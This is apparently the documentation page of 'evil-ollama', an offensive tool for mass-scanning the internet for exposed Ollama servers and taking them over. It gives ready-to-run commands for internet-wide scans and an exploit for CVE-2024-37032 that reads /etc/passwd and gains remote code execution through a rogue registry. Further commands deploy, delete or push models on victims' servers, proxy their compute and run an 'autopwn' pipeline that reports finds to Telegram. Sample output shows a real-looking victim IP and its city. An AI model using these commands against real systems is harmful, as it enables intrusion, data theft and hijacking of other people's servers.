30+
Commands
70+
Flags/Options
9.1
CVSS Max
6
CVE Support
26/26
Tests Passed

⚑ Quick Start

# Install pip install evil-ollama
β€” or upgrade β€”
pip install --upgrade evil-ollama # Scan random IPs evilollama scan --random 10000 --geo --notify # Full internet scan evilollama scan --internet # Fingerprint a target evilollama fingerprint -t 1.2.3.4:11434 --geo # Vulnerability scan evilollama vuln -t 1.2.3.4:11434 --notify # Exploit CVE evilollama exploit --cve CVE-2024-37032 -t 1.2.3.4:11434 # Interactive chat evilollama chat -t 1.2.3.4:11434 # Auto-PWN (scan β†’ vuln β†’ proxy) evilollama autopwn --random 5000 # View this documentation evilollama docs
πŸ” Scanning & Discovery
scan --random <N>
Scan N random public IPs for exposed Ollama instances on port 11434. Uses async TCP connect scan with configurable concurrency.
--random 10000 --port 11434 --concurrent 100 --geo --export html --notify
βœ… Verified
scan --cidr <CIDR>
Scan an entire CIDR range (e.g., 10.0.0.0/8). Expands all IPs in range and scans them.
--cidr 10.0.0.0/8 --port 11434 --geo --export html --notify
βœ… Verified
scan --file <file>
Scan IPs from a text file (one IP per line). Useful for custom target lists.
--file targets.txt --port 11434 --geo --notify
βœ… Verified
scan --shodan <API_KEY>
Search Shodan.io for exposed Ollama instances. Uses Shodan search API to find internet-facing instances.
--shodan API_KEY --geo --notify
βœ… Verified
scan --censys <ID:SECRET>
Search Censys for exposed Ollama instances. Uses Censys search API with format ID:SECRET.
--censys ID:SECRET --geo --notify
βœ… Verified
scan --fofa <EMAIL:KEY>
Search FOFA for exposed Ollama instances. Uses FOFA search API with format EMAIL:KEY.
--fofa EMAIL:KEY --geo --notify
βœ… Verified
scan --dns <domain>
Discover Ollama instances via DNS resolution on a domain. Resolves common subdomain patterns.
--dns example.com --port 11434 --geo
βœ… Verified
scan --ct <domain>
Discover instances via Certificate Transparency logs. Fetches subdomains from crt.sh.
--ct example.com --port 11434
βœ… Verified
scan --internet 🌐
FULL INTERNET-WIDE SCAN β€” 3-phase attack: Phase 1 scans 50,000 random IPs, Phase 2 does DNS discovery on top cloud domains, Phase 3 searches CT logs. The ultimate discovery command.
--internet --port 11434 --concurrent 1000 --geo --export html --notify
πŸš€ New
$ evilollama scan --internet --notify
🌐 INTERNET-WIDE SCAN MODE
Phase 1/3: Scanning 50000 random IPs...
Phase 2/3: DNS discovery on cloud domains...
Phase 3/3: CT log search...
πŸ†” Fingerprinting
fingerprint -t <IP:PORT>
Deep fingerprint an Ollama instance. Extracts version, all models, running models, total size, accessible endpoints, GPU info, and CVE data. Most detailed recon command.
-t 1.2.3.4:11434 --all --geo --notify
βœ… Verified
$ evilollama fingerprint -t 200.137.215.69:11434 --geo
πŸ¦™ Fingerprint: 200.137.215.69:11434
Version: 0.20.7
Models: 45 (gemma:2B, gemma4:26b, ...)
Running: gemma4:26b (1)
Total: 323.82 GB
Location: GoiΓ’nia, Brazil
πŸ’€ Vulnerability Scanning
vuln -t <IP:PORT>
Comprehensive vulnerability scan. Checks for: No Authentication, RCE via Crafted Model Import, SSRF in Model Pulling, Response Timing issues, and missing CSRF protection.
-t 1.2.3.4:11434 --all -o results.json --geo --notify
βœ… Verified
$ evilollama vuln -t 200.137.215.69:11434 --geo
πŸ’€ [CRITICAL] Potential RCE via Crafted Model Import
πŸ’€ [HIGH ] No Authentication Required
πŸ’€ [HIGH ] Potential SSRF in Model Pulling
πŸ“ Location: GoiΓ’nia, Brazil
πŸ’₯ Exploit Module
exploit --list
List all CVEs supported by the exploit module with name, type, CVSS score, affected versions, and fixed version.
--list
πŸ†• v3.2.0
exploit --cve CVE-2024-37032 -t <IP>
Check if target is vulnerable to Probllama β€” Ollama Path Traversal RCE (CVSS 9.1). Affects Ollama < 0.1.34.
--cve CVE-2024-37032 -t 1.2.3.4:11434 --host MY_IP --lport 9999 --read /etc/passwd --rce --cmd id
πŸ†• v3.2.0
exploit --cve CVE-2024-37032 --host IP --read FILE
Full arbitrary file read exploit. Starts a rogue OCI registry that serves malicious manifests with path traversal payloads. Requires attacker public IP.
--cve CVE-2024-37032 -t VICTIM_IP --host YOUR_IP --read /etc/passwd
πŸ†• v3.2.0
exploit --cve CVE-2024-37032 --host IP --rce --cmd "id"
Full Remote Code Execution exploit. Two-step: write malicious .so via path traversal, then trigger ld.so.preload. Requires Docker-based target.
--cve CVE-2024-37032 -t VICTIM_IP --host YOUR_IP --rce --cmd "id"
πŸ†• v3.2.0

πŸ“‹ Supported CVEs

CVE Name Type CVSS Affected
CVE-2024-37032 Probllama β€” Path Traversal RCE path_traversal 9.1 πŸ”΄ < 0.1.34
πŸ“¦ Model Operations
models -t <IP:PORT>
List all models on a remote instance. Shows model names, sizes, quantization levels, and families.
-t 1.2.3.4:11434 --geo --notify
βœ… Verified
models --pull TARGET MODEL
Pull model info from a target. Retrieves detailed manifest data.
--pull 1.2.3.4:11434 gemma:2b
βœ… Verified
models --analyze TARGET MODEL
Deep analyze a specific model via /api/show. Returns full Modelfile, parameters, template, and system prompt.
--analyze 1.2.3.4:11434 gemma:2b
βœ… Verified
deploy -m MODEL -t <IP>
Deploy (pull) a model onto a remote instance via /api/pull. Can deploy to all saved instances with --all.
-m gemma:2b -t 1.2.3.4:11434 --all --geo --notify
βœ… Verified
push -t <IP> -m MODEL:TAG
Push a model from a remote instance to a registry via /api/push. Requires registry authentication.
-t 1.2.3.4:11434 -m mymodel:tag --notify
βœ… Verified
create -t <IP> -m MODEL [--modelfile|--from]
Create a model via /api/create. Provide a Modelfile or base model name to create from.
-t 1.2.3.4:11434 -m newmodel --modelfile ./Modelfile --from base:latest
βœ… Verified
copy -t <IP> -s SRC -d DST
Copy a model within a remote instance via /api/copy. Useful for model cloning.
-t 1.2.3.4:11434 -s old:latest -d new:latest --notify
βœ… Verified
remove -t <IP> -m MODEL:TAG
Delete a model from a remote instance via /api/delete. Irreversible.
-t 1.2.3.4:11434 -m model:tag --notify
βœ… Verified
ps -t <IP:PORT>
List currently running models on the instance via /api/ps. Shows name, size, and expiry.
-t 1.2.3.4:11434 --notify
βœ… Verified
πŸ€– AI / Inference Operations
embed -t <IP> -m MODEL -p "text"
Generate embeddings via /api/embed. Returns vector dimensions and first 8 values. Supports any embedding model.
-t 1.2.3.4:11434 -m nomic-embed-text -p "hello world"
βœ… Verified
$ evilollama embed -t 200.137.215.69:11434 -m nomic-embed-text -p "hi"
βœ… Embedding generated β€” dimensions: 768
First 8 values: [0.012, -0.034, ...]
Total dimensions: 768
generate -t <IP> -m MODEL -p "prompt"
Generate text completion via /api/generate. Returns model response + version info.
-t 1.2.3.4:11434 -m gemma:2b -p "tell me a joke"
βœ… Verified
chat -t <IP:PORT>
Interactive chat with remote model. Full duplex conversation with context retention. Type 'exit' to quit.
-t 1.2.3.4:11434 --batch prompts.txt
βœ… Verified
chat --batch <FILE>
Batch execute prompts from a file (one per line). Saves results to JSON with timestamps.
-t 1.2.3.4:11434 --batch prompts.txt
βœ… Verified
πŸ”Œ Proxy
proxy -t <IP:PORT>
Start an OpenAI-compatible proxy to a remote Ollama instance. Exposes OpenAI API format at localhost:8080. All requests are forwarded to the target.
-t 1.2.3.4:11434 -p 8080 --host 127.0.0.1 --socks
βœ… Verified
$ evilollama proxy -t 200.137.215.69:11434 -p 9090
πŸ”Œ Proxy started β†’ http://200.137.215.69:11434
Listening on 127.0.0.1:9090
OpenAI API: http://127.0.0.1:9090/v1
πŸ“Š Reporting & Display
show
Display all found instances with details: IP, port, version, models, running count, size, location, and quick-action commands.
--geo --notify --export html
βœ… Verified
export --format <TYPE>
Export found instances. Supports HTML (beautiful dark report), CSV (spreadsheet-ready), JSON (machine-parseable), or ALL formats at once.
--format html --format csv --format json --format all -o report.html --notify
βœ… Verified
$ evilollama export --format html --notify
πŸ“„ HTML report saved: evilollama_report.html (8.0 KB)
πŸ“„ Report sent to Telegram βœ…
πŸš€ Automation
autopwn --random <N>
FULL AUTO-PWN PIPELINE β€” 4 steps automated:
1. Scan N random IPs
2. Geolocate all finds
3. Vulnerability scan (can skip with --no-vuln)
4. Generate HTML report
5. Start proxy on first found instance
--random 5000 --no-vuln -p 9090 --geo --notify
βœ… Verified
monitor --interval <SEC>
Continuous monitoring daemon. Scans every N seconds, auto-exports, sends Telegram notifications on new finds. Perfect for persistent hunting.
--interval 3600 --random 5000 --notify --export html
βœ… Verified
βš™οΈ Configuration
config --show
Display current configuration (sensitive values masked). Shows telegram_token, telegram_chat_id, shodan_key, and all settings.
--show
βœ… Verified
config --set KEY VALUE
Set any configuration key to a value. Config is saved to ~/.evilollama/config.json
--set notify_on_find true
βœ… Verified
config --telegram-token BOT_TOKEN
Set Telegram bot token for notifications.
--telegram-token "123:ABC"
βœ… Verified
config --telegram-chat CHAT_ID
Set Telegram chat ID for notifications.
--telegram-chat "123456"
βœ… Verified
config --shodan-key API_KEY
Set Shodan API key for Shodan search mode.
--shodan-key "API_KEY"
βœ… Verified
πŸ“Œ Global Flags
--version / -v
Display version information with tool description and install command.
βœ… Verified
--help / -h
Show help for any command with all flags and usage examples.
βœ… Verified
--geo
Show geolocation data (city, country, ISP) for targets. Uses ip-api.com.
βœ… Verified
--notify
Send Telegram notification with results. Requires configured telegram_token and chat_id.
βœ… Verified
🎯 Real-World Examples

πŸ” Recon Phase

# Internet-wide scan with notification evilollama scan --internet --notify # Shodan search evilollama scan --shodan $(cat ~/.shodan_key) --geo --export html # DNS discovery on target domain evilollama scan --dns target.com --port 11434

πŸ’€ Exploitation Phase

# Check for CVE-2024-37032 evilollama exploit --cve CVE-2024-37032 -t 1.2.3.4:11434 # Full file read exploit (requires public IP) evilollama exploit --cve CVE-2024-37032 -t 1.2.3.4:11434 --host $(curl -s ifconfig.me) --read /etc/passwd # Full vuln scan + report to Telegram evilollama vuln -t 1.2.3.4:11434 --geo --notify -o vuln_report.json

πŸ€– AI Operations

# Interactive chat with remote model evilollama chat -t 1.2.3.4:11434 # Use remote model via OpenAI-compatible proxy evilollama proxy -t 1.2.3.4:11434 -p 8080 curl http://localhost:8080/v1/chat/completions -d '{"model":"gemma:2b","messages":[{"role":"user","content":"hi"}]}'

πŸš€ Full Auto-PWN Pipeline

# One command: scan β†’ vuln β†’ report β†’ proxy evilollama autopwn --random 10000 --notify

πŸ“€ Export & Share

# Export all formats and send to Telegram evilollama export --format all --notify # Show instances with geo and export evilollama show --geo --export html